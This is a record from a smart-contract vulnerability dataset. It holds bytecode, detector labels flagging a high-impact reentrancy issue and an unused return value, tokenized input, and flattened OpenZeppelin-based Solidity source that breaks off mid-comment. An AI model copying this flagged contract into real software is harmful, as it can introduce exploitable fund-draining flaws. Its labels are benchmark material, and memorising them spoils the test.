461511e57600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636545524332303a2064656372656173656420616c6c6f77616e63652062656c6f77207a65726fa2646970667358221220f89cdba38116789c99be6efc64574048cd9b4d4e16c6491ac3ef880429f66e3564736f6c63430008030033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}}
true
null
{'detectors': [{'check': 'reentrancy-eth', 'impact': 'High', 'confidence': 'Medium'}, {'check': 'unused-return', 'impact': 'Medium', 'confidence': 'Medium'}]}
[ 101, 1014, 2595, 2683, 2575, 2487, 3676, 2581, 21084, 27531, 23833, 23833, 14142, 9818, 3401, 2581, 22025, 2692, 2497, 17134, 2094, 16932, 4215, 2546, 2629, 2050, 8889, 2549, 7011, 10975, 8490, 2863, 5024, 3012, 1034, 1014, 1012, 1022, 1012, 1017, 1025, 1013, 1013, 23772, 2595, 1011, 6105, 1011, 8909, 4765, 18095, 1024, 10210, 1013, 1008, 1008, 1008, 1030, 16475, 8278, 1997, 1996, 9413, 2278, 11387, 3115, 2004, 4225, 1999, 1996, 1041, 11514, 1012, 1008, 1013, 8278, 29464, 11890, 11387, 1063, 1013, 1008, 1008, 1008, 1030, 16475, 5651, 1996, 3815, 1997, 19204, 2015, 1999, 4598, 1012, 1008, 1013, 3853, 21948, 6279, 22086, 1006, 1007, 6327, 3193, 5651, 1006, 21318, 3372, 17788, 2575, 1007, 1025, 1013, 1008, 1008, 1008, 1030, 16475, 5651, 1996, 3815, 1997, 19204, 2015, 3079, 2011, 102 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
59,041
0x961Cf9036557E84Fc4AC9526547574966293234D
// SPDX-License-Identifier: NONE pragma solidity 0.7.6; // Part: OpenZeppelin/openzeppelin-contracts@3.4.0/Address /** * @dev Collection of functions related to the address type */ library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== */ function isContract(address account) internal view returns (bool) { // This method relies on extcodesize, which returns 0 for contracts in // construction, since the code is only stored at the end of the // constructor execution. uint256 size; // solhint-disable-next-line no-inline-assembly assembly { size := extcodesize(account) } return size > 0; } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); // solhint-disable-next-line avoid-low-level-calls, avoid-call-value (bool success, ) = recipient.call{ value: amount }(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain`call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { return functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); require(isContract(target), "Address: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.call{ value: value }(data); return _verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) { return functionStaticCall(target, data, "Address: low-level static call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data, string memory errorMessage) internal view returns (bytes memory) { require(isContract(target), "Address: static call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.staticcall(data); return _verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) { return functionDelegateCall(target, data, "Address: low-level delegate call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { require(isContract(target), "Address: delegate call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.delegatecall(data); return _verifyCallResult(success, returndata, errorMessage); } function _verifyCallResult(bool success, bytes memory returndata, string memory errorMessage) private pure returns(bytes memory) { if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly // solhint-disable-next-line no-inline-assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } // Part: OpenZeppelin/openzeppelin-contracts@3.4.0/Context /* * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with GSN meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract Context { function _msgSender() internal view virtual returns (address payable) { return msg.sender; } function _msgData() internal view virtual returns (bytes memory) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } } // Part: OpenZeppelin/openzeppelin-contracts@3.4.0/EnumerableMap /** * @dev Library for managing an enumerable variant of Solidity's * https://solidity.readthedocs.io/en/latest/types.html#mapping-types[`mapping`] * type. * * Maps have the following properties: * * - Entries are added, removed, and checked for existence in constant time * (O(1)). * - Entries are enumerated in O(n). No guarantees are made on the ordering. * * ``` * contract Example { * // Add the library methods * using EnumerableMap for EnumerableMap.UintToAddressMap; * * // Declare a set state variable * EnumerableMap.UintToAddressMap private myMap; * } * ``` * * As of v3.0.0, only maps of type `uint256 -> address` (`UintToAddressMap`) are * supported. */ library EnumerableMap { // To implement this library for multiple types with as little code // repetition as possible, we write it in terms of a generic Map type with // bytes32 keys and values. // The Map implementation uses private functions, and user-facing // implementations (such as Uint256ToAddressMap) are just wrappers around // the underlying Map. // This means that we can only create new EnumerableMaps for types that fit // in bytes32. struct MapEntry { bytes32 _key; bytes32 _value; } struct Map { // Storage of map keys and values MapEntry[] _entries; // Position of the entry defined by a key in the `entries` array, plus 1 // because index 0 means a key is not in the map. mapping (bytes32 => uint256) _indexes; } /** * @dev Adds a key-value pair to a map, or updates the value for an existing * key. O(1). * * Returns true if the key was added to the map, that is if it was not * already present. */ function _set(Map storage map, bytes32 key, bytes32 value) private returns (bool) { // We read and store the key's index to prevent multiple reads from the same storage slot uint256 keyIndex = map._indexes[key]; if (keyIndex == 0) { // Equivalent to !contains(map, key) map._entries.push(MapEntry({ _key: key, _value: value })); // The entry is stored at length-1, but we add 1 to all indexes // and use 0 as a sentinel value map._indexes[key] = map._entries.length; return true; } else { map._entries[keyIndex - 1]._value = value; return false; } } /** * @dev Removes a key-value pair from a map. O(1). * * Returns true if the key was removed from the map, that is if it was present. */ function _remove(Map storage map, bytes32 key) private returns (bool) { // We read and store the key's index to prevent multiple reads from the same storage slot uint256 keyIndex = map._indexes[key]; if (keyIndex != 0) { // Equivalent to contains(map, key) // To delete a key-value pair from the _entries array in O(1), we swap the entry to delete with the last one // in the array, and then remove the last entry (sometimes called as 'swap and pop'). // This modifies the order of the array, as noted in {at}. uint256 toDeleteIndex = keyIndex - 1; uint256 lastIndex = map._entries.length - 1; // When the entry to delete is the last one, the swap operation is unnecessary. However, since this occurs // so rarely, we still do the swap anyway to avoid the gas cost of adding an 'if' statement. MapEntry storage lastEntry = map._entries[lastIndex]; // Move the last entry to the index where the entry to delete is map._entries[toDeleteIndex] = lastEntry; // Update the index for the moved entry map._indexes[lastEntry._key] = toDeleteIndex + 1; // All indexes are 1-based // Delete the slot where the moved entry was stored map._entries.pop(); // Delete the index for the deleted slot delete map._indexes[key]; return true; } else { return false; } } /** * @dev Returns true if the key is in the map. O(1). */ function _contains(Map storage map, bytes32 key) private view returns (bool) { return map._indexes[key] != 0; } /** * @dev Returns the number of key-value pairs in the map. O(1). */ function _length(Map storage map) private view returns (uint256) { return map._entries.length; } /** * @dev Returns the key-value pair stored at position `index` in the map. O(1). * * Note that there are no guarantees on the ordering of entries inside the * array, and it may change when more entries are added or removed. * * Requirements: * * - `index` must be strictly less than {length}. */ function _at(Map storage map, uint256 index) private view returns (bytes32, bytes32) { require(map._entries.length > index, "EnumerableMap: index out of bounds"); MapEntry storage entry = map._entries[index]; return (entry._key, entry._value); } /** * @dev Tries to returns the value associated with `key`. O(1). * Does not revert if `key` is not in the map. */ function _tryGet(Map storage map, bytes32 key) private view returns (bool, bytes32) { uint256 keyIndex = map._indexes[key]; if (keyIndex == 0) return (false, 0); // Equivalent to contains(map, key) return (true, map._entries[keyIndex - 1]._value); // All indexes are 1-based } /** * @dev Returns the value associated with `key`. O(1). * * Requirements: * * - `key` must be in the map. */ function _get(Map storage map, bytes32 key) private view returns (bytes32) { uint256 keyIndex = map._indexes[key]; require(keyIndex != 0, "EnumerableMap: nonexistent key"); // Equivalent to contains(map, key) return map._entries[keyIndex - 1]._value; // All indexes are 1-based } /** * @dev Same as {_get}, with a custom error message when `key` is not in the map. * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {_tryGet}. */ function _get(Map storage map, bytes32 key, string memory errorMessage) private view returns (bytes32) { uint256 keyIndex = map._indexes[key]; require(keyIndex != 0, errorMessage); // Equivalent to contains(map, key) return map._entries[keyIndex - 1]._value; // All indexes are 1-based } // UintToAddressMap struct UintToAddressMap { Map _inner; } /** * @dev Adds a key-value pair to a map, or updates the value for an existing * key. O(1). * * Returns true if the key was added to the map, that is if it was not * already present. */ function set(UintToAddressMap storage map, uint256 key, address value) internal returns (bool) { return _set(map._inner, bytes32(key), bytes32(uint256(uint160(value)))); } /** * @dev Removes a value from a set. O(1). * * Returns true if the key was removed from the map, that is if it was present. */ function remove(UintToAddressMap storage map, uint256 key) internal returns (bool) { return _remove(map._inner, bytes32(key)); } /** * @dev Returns true if the key is in the map. O(1). */ function contains(UintToAddressMap storage map, uint256 key) internal view returns (bool) { return _contains(map._inner, bytes32(key)); } /** * @dev Returns the number of elements in the map. O(1). */ function length(UintToAddressMap storage map) internal view returns (uint256) { return _length(map._inner); } /** * @dev Returns the element stored at position `index` in the set. O(1). * Note that there are no guarantees on the ordering of values inside the * array, and it may change when more values are added or removed. * * Requirements: * * - `index` must be strictly less than {length}. */ function at(UintToAddressMap storage map, uint256 index) internal view returns (uint256, address) { (bytes32 key, bytes32 value) = _at(map._inner, index); return (uint256(key), address(uint160(uint256(value)))); } /** * @dev Tries to returns the value associated with `key`. O(1). * Does not revert if `key` is not in the map. * * _Available since v3.4._ */ function tryGet(UintToAddressMap storage map, uint256 key) internal view returns (bool, address) { (bool success, bytes32 value) = _tryGet(map._inner, bytes32(key)); return (success, address(uint160(uint256(value)))); } /** * @dev Returns the value associated with `key`. O(1). * * Requirements: * * - `key` must be in the map. */ function get(UintToAddressMap storage map, uint256 key) internal view returns (address) { return address(uint160(uint256(_get(map._inner, bytes32(key))))); } /** * @dev Same as {get}, with a custom error message when `key` is not in the map. * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {tryGet}. */ function get(UintToAddressMap storage map, uint256 key, string memory errorMessage) internal view returns (address) { return address(uint160(uint256(_get(map._inner, bytes32(key), errorMessage)))); } } // Part: OpenZeppelin/openzeppelin-contracts@3.4.0/EnumerableSet /** * @dev Library for managing * https://en.wikipedia.org/wiki/Set_(abstract_data_type)[sets] of primitive * types. * * Sets have the following properties: * * - Elements are added, removed, and checked for existence in constant time * (O(1)). * - Elements are enumerated in O(n). No guarantees are made on the ordering. * * ``` * contract Example { * // Add the library methods * using EnumerableSet for EnumerableSet.AddressSet; * * // Declare a set state variable * EnumerableSet.AddressSet private mySet; * } * ``` * * As of v3.3.0, sets of type `bytes32` (`Bytes32Set`), `address` (`AddressSet`) * and `uint256` (`UintSet`) are supported. */ library EnumerableSet { // To implement this library for multiple types with as little code // repetition as possible, we write it in terms of a generic Set type with // bytes32 values. // The Set implementation uses private functions, and user-facing // implementations (such as AddressSet) are just wrappers around the // underlying Set. // This means that we can only create new EnumerableSets for types that fit // in bytes32. struct Set { // Storage of set values bytes32[] _values; // Position of the value in the `values` array, plus 1 because index 0 // means a value is not in the set. mapping (bytes32 => uint256) _indexes; } /** * @dev Add a value to a set. O(1). * * Returns true if the value was added to the set, that is if it was not * already present. */ function _add(Set storage set, bytes32 value) private returns (bool) { if (!_contains(set, value)) { set._values.push(value); // The value is stored at length-1, but we add 1 to all indexes // and use 0 as a sentinel value set._indexes[value] = set._values.length; return true; } else { return false; } } /** * @dev Removes a value from a set. O(1). * * Returns true if the value was removed from the set, that is if it was * present. */ function _remove(Set storage set, bytes32 value) private returns (bool) { // We read and store the value's index to prevent multiple reads from the same storage slot uint256 valueIndex = set._indexes[value]; if (valueIndex != 0) { // Equivalent to contains(set, value) // To delete an element from the _values array in O(1), we swap the element to delete with the last one in // the array, and then remove the last element (sometimes called as 'swap and pop'). // This modifies the order of the array, as noted in {at}. uint256 toDeleteIndex = valueIndex - 1; uint256 lastIndex = set._values.length - 1; // When the value to delete is the last one, the swap operation is unnecessary. However, since this occurs // so rarely, we still do the swap anyway to avoid the gas cost of adding an 'if' statement. bytes32 lastvalue = set._values[lastIndex]; // Move the last value to the index where the value to delete is set._values[toDeleteIndex] = lastvalue; // Update the index for the moved value set._indexes[lastvalue] = toDeleteIndex + 1; // All indexes are 1-based // Delete the slot where the moved value was stored set._values.pop(); // Delete the index for the deleted slot delete set._indexes[value]; return true; } else { return false; } } /** * @dev Returns true if the value is in the set. O(1). */ function _contains(Set storage set, bytes32 value) private view returns (bool) { return set._indexes[value] != 0; } /** * @dev Returns the number of values on the set. O(1). */ function _length(Set storage set) private view returns (uint256) { return set._values.length; } /** * @dev Returns the value stored at position `index` in the set. O(1). * * Note that there are no guarantees on the ordering of values inside the * array, and it may change when more values are added or removed. * * Requirements: * * - `index` must be strictly less than {length}. */ function _at(Set storage set, uint256 index) private view returns (bytes32) { require(set._values.length > index, "EnumerableSet: index out of bounds"); return set._values[index]; } // Bytes32Set struct Bytes32Set { Set _inner; } /** * @dev Add a value to a set. O(1). * * Returns true if the value was added to the set, that is if it was not * already present. */ function add(Bytes32Set storage set, bytes32 value) internal returns (bool) { return _add(set._inner, value); } /** * @dev Removes a value from a set. O(1). * * Returns true if the value was removed from the set, that is if it was * present. */ function remove(Bytes32Set storage set, bytes32 value) internal returns (bool) { return _remove(set._inner, value); } /** * @dev Returns true if the value is in the set. O(1). */ function contains(Bytes32Set storage set, bytes32 value) internal view returns (bool) { return _contains(set._inner, value); } /** * @dev Returns the number of values in the set. O(1). */ function length(Bytes32Set storage set) internal view returns (uint256) { return _length(set._inner); } /** * @dev Returns the value stored at position `index` in the set. O(1). * * Note that there are no guarantees on the ordering of values inside the * array, and it may change when more values are added or removed. * * Requirements: * * - `index` must be strictly less than {length}. */ function at(Bytes32Set storage set, uint256 index) internal view returns (bytes32) { return _at(set._inner, index); } // AddressSet struct AddressSet { Set _inner; } /** * @dev Add a value to a set. O(1). * * Returns true if the value was added to the set, that is if it was not * already present. */ function add(AddressSet storage set, address value) internal returns (bool) { return _add(set._inner, bytes32(uint256(uint160(value)))); } /** * @dev Removes a value from a set. O(1). * * Returns true if the value was removed from the set, that is if it was * present. */ function remove(AddressSet storage set, address value) internal returns (bool) { return _remove(set._inner, bytes32(uint256(uint160(value)))); } /** * @dev Returns true if the value is in the set. O(1). */ function contains(AddressSet storage set, address value) internal view returns (bool) { return _contains(set._inner, bytes32(uint256(uint160(value)))); } /** * @dev Returns the number of values in the set. O(1). */ function length(AddressSet storage set) internal view returns (uint256) { return _length(set._inner); } /** * @dev Returns the value stored at position `index` in the set. O(1). * * Note that there are no guarantees on the ordering of values inside the * array, and it may change when more values are added or removed. * * Requirements: * * - `index` must be strictly less than {length}. */ function at(AddressSet storage set, uint256 index) internal view returns (address) { return address(uint160(uint256(_at(set._inner, index)))); } // UintSet struct UintSet { Set _inner; } /** * @dev Add a value to a set. O(1). * * Returns true if the value was added to the set, that is if it was not * already present. */ function add(UintSet storage set, uint256 value) internal returns (bool) { return _add(set._inner, bytes32(value)); } /** * @dev Removes a value from a set. O(1). * * Returns true if the value was removed from the set, that is if it was * present. */ function remove(UintSet storage set, uint256 value) internal returns (bool) { return _remove(set._inner, bytes32(value)); } /** * @dev Returns true if the value is in the set. O(1). */ function contains(UintSet storage set, uint256 value) internal view returns (bool) { return _contains(set._inner, bytes32(value)); } /** * @dev Returns the number of values on the set. O(1). */ function length(UintSet storage set) internal view returns (uint256) { return _length(set._inner); } /** * @dev Returns the value stored at position `index` in the set. O(1). * * Note that there are no guarantees on the ordering of values inside the * array, and it may change when more values are added or removed. * * Requirements: * * - `index` must be strictly less than {length}. */ function at(UintSet storage set, uint256 index) internal view returns (uint256) { return uint256(_at(set._inner, index)); } } // Part: OpenZeppelin/openzeppelin-contracts@3.4.0/IERC165 /** * @dev Interface of the ERC165 standard, as defined in the * https://eips.ethereum.org/EIPS/eip-165[EIP]. * * Implementers can declare support of contract interfaces, which can then be * queried by others ({ERC165Checker}). * * For an implementation, see {ERC165}. */ interface IERC165 { /** * @dev Returns true if this contract implements the interface defined by * `interfaceId`. See the corresponding * https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section] * to learn more about how these ids are created. * * This function call must use less than 30 000 gas. */ function supportsInterface(bytes4 interfaceId) external view returns (bool); } // Part: OpenZeppelin/openzeppelin-contracts@3.4.0/IERC721Receiver /** * @title ERC721 token receiver interface * @dev Interface for any contract that wants to support safeTransfers * from ERC721 asset contracts. */ interface IERC721Receiver { /** * @dev Whenever an {IERC721} `tokenId` token is transferred to this contract via {IERC721-safeTransferFrom} * by `operator` from `from`, this function is called. * * It must return its Solidity selector to confirm the token transfer. * If any other value is returned or the interface is not implemented by the recipient, the transfer will be reverted. * * The selector can be obtained in Solidity with `IERC721.onERC721Received.selector`. */ function onERC721Received(address operator, address from, uint256 tokenId, bytes calldata data) external returns (bytes4); } // Part: OpenZeppelin/openzeppelin-contracts@3.4.0/SafeMath /** * @dev Wrappers over Solidity's arithmetic operations with added overflow * checks. * * Arithmetic operations in Solidity wrap on overflow. This can easily result * in bugs, because programmers usually assume that an overflow raises an * error, which is the standard behavior in high level programming languages. * `SafeMath` restores this intuition by reverting the transaction when an * operation overflows. * * Using this library instead of the unchecked operations eliminates an entire * class of bugs, so it's recommended to use it always. */ library SafeMath { /** * @dev Returns the addition of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) { uint256 c = a + b; if (c < a) return (false, 0); return (true, c); } /** * @dev Returns the substraction of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) { if (b > a) return (false, 0); return (true, a - b); } /** * @dev Returns the multiplication of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) return (true, 0); uint256 c = a * b; if (c / a != b) return (false, 0); return (true, c); } /** * @dev Returns the division of two unsigned integers, with a division by zero flag. * * _Available since v3.4._ */ function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) { if (b == 0) return (false, 0); return (true, a / b); } /** * @dev Returns the remainder of dividing two unsigned integers, with a division by zero flag. * * _Available since v3.4._ */ function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) { if (b == 0) return (false, 0); return (true, a % b); } /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { require(b <= a, "SafeMath: subtraction overflow"); return a - b; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) return 0; uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } /** * @dev Returns the integer division of two unsigned integers, reverting on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { require(b > 0, "SafeMath: division by zero"); return a / b; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * reverting when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { require(b > 0, "SafeMath: modulo by zero"); return a % b; } /** * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {trySub}. * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); return a - b; } /** * @dev Returns the integer division of two unsigned integers, reverting with custom message on * division by zero. The result is rounded towards zero. * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {tryDiv}. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); return a / b; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * reverting with custom message when dividing by zero. * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {tryMod}. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); return a % b; } } // Part: OpenZeppelin/openzeppelin-contracts@3.4.0/Strings /** * @dev String operations. */ library Strings { /** * @dev Converts a `uint256` to its ASCII `string` representation. */ function toString(uint256 value) internal pure returns (string memory) { // Inspired by OraclizeAPI's implementation - MIT licence // https://github.com/oraclize/ethereum-api/blob/b42146b063c7d6ee1358846c198246239e9360e8/oraclizeAPI_0.4.25.sol if (value == 0) { return "0"; } uint256 temp = value; uint256 digits; while (temp != 0) { digits++; temp /= 10; } bytes memory buffer = new bytes(digits); uint256 index = digits - 1; temp = value; while (temp != 0) { buffer[index--] = bytes1(uint8(48 + temp % 10)); temp /= 10; } return string(buffer); } } // Part: OpenZeppelin/openzeppelin-contracts@3.4.0/AccessControl /** * @dev Contract module that allows children to implement role-based access * control mechanisms. * * Roles are referred to by their `bytes32` identifier. These should be exposed * in the external API and be unique. The best way to achieve this is by * using `public constant` hash digests: * * ``` * bytes32 public constant MY_ROLE = keccak256("MY_ROLE"); * ``` * * Roles can be used to represent a set of permissions. To restrict access to a * function call, use {hasRole}: * * ``` * function foo() public { * require(hasRole(MY_ROLE, msg.sender)); * ... * } * ``` * * Roles can be granted and revoked dynamically via the {grantRole} and * {revokeRole} functions. Each role has an associated admin role, and only * accounts that have a role's admin role can call {grantRole} and {revokeRole}. * * By default, the admin role for all roles is `DEFAULT_ADMIN_ROLE`, which means * that only accounts with this role will be able to grant or revoke other * roles. More complex role relationships can be created by using * {_setRoleAdmin}. * * WARNING: The `DEFAULT_ADMIN_ROLE` is also its own admin: it has permission to * grant and revoke this role. Extra precautions should be taken to secure * accounts that have been granted it. */ abstract contract AccessControl is Context { using EnumerableSet for EnumerableSet.AddressSet; using Address for address; struct RoleData { EnumerableSet.AddressSet members; bytes32 adminRole; } mapping (bytes32 => RoleData) private _roles; bytes32 public constant DEFAULT_ADMIN_ROLE = 0x00; /** * @dev Emitted when `newAdminRole` is set as ``role``'s admin role, replacing `previousAdminRole` * * `DEFAULT_ADMIN_ROLE` is the starting admin for all roles, despite * {RoleAdminChanged} not being emitted signaling this. * * _Available since v3.1._ */ event RoleAdminChanged(bytes32 indexed role, bytes32 indexed previousAdminRole, bytes32 indexed newAdminRole); /** * @dev Emitted when `account` is granted `role`. * * `sender` is the account that originated the contract call, an admin role * bearer except when using {_setupRole}. */ event RoleGranted(bytes32 indexed role, address indexed account, address indexed sender); /** * @dev Emitted when `account` is revoked `role`. * * `sender` is the account that originated the contract call: * - if using `revokeRole`, it is the admin role bearer * - if using `renounceRole`, it is the role bearer (i.e. `account`) */ event RoleRevoked(bytes32 indexed role, address indexed account, address indexed sender); /** * @dev Returns `true` if `account` has been granted `role`. */ function hasRole(bytes32 role, address account) public view returns (bool) { return _roles[role].members.contains(account); } /** * @dev Returns the number of accounts that have `role`. Can be used * together with {getRoleMember} to enumerate all bearers of a role. */ function getRoleMemberCount(bytes32 role) public view returns (uint256) { return _roles[role].members.length(); } /** * @dev Returns one of the accounts that have `role`. `index` must be a * value between 0 and {getRoleMemberCount}, non-inclusive. * * Role bearers are not sorted in any particular way, and their ordering may * change at any point. * * WARNING: When using {getRoleMember} and {getRoleMemberCount}, make sure * you perform all queries on the same block. See the following * https://forum.openzeppelin.com/t/iterating-over-elements-on-enumerableset-in-openzeppelin-contracts/2296[forum post] * for more information. */ function getRoleMember(bytes32 role, uint256 index) public view returns (address) { return _roles[role].members.at(index); } /** * @dev Returns the admin role that controls `role`. See {grantRole} and * {revokeRole}. * * To change a role's admin, use {_setRoleAdmin}. */ function getRoleAdmin(bytes32 role) public view returns (bytes32) { return _roles[role].adminRole; } /** * @dev Grants `role` to `account`. * * If `account` had not been already granted `role`, emits a {RoleGranted} * event. * * Requirements: * * - the caller must have ``role``'s admin role. */ function grantRole(bytes32 role, address account) public virtual { require(hasRole(_roles[role].adminRole, _msgSender()), "AccessControl: sender must be an admin to grant"); _grantRole(role, account); } /** * @dev Revokes `role` from `account`. * * If `account` had been granted `role`, emits a {RoleRevoked} event. * * Requirements: * * - the caller must have ``role``'s admin role. */ function revokeRole(bytes32 role, address account) public virtual { require(hasRole(_roles[role].adminRole, _msgSender()), "AccessControl: sender must be an admin to revoke"); _revokeRole(role, account); } /** * @dev Revokes `role` from the 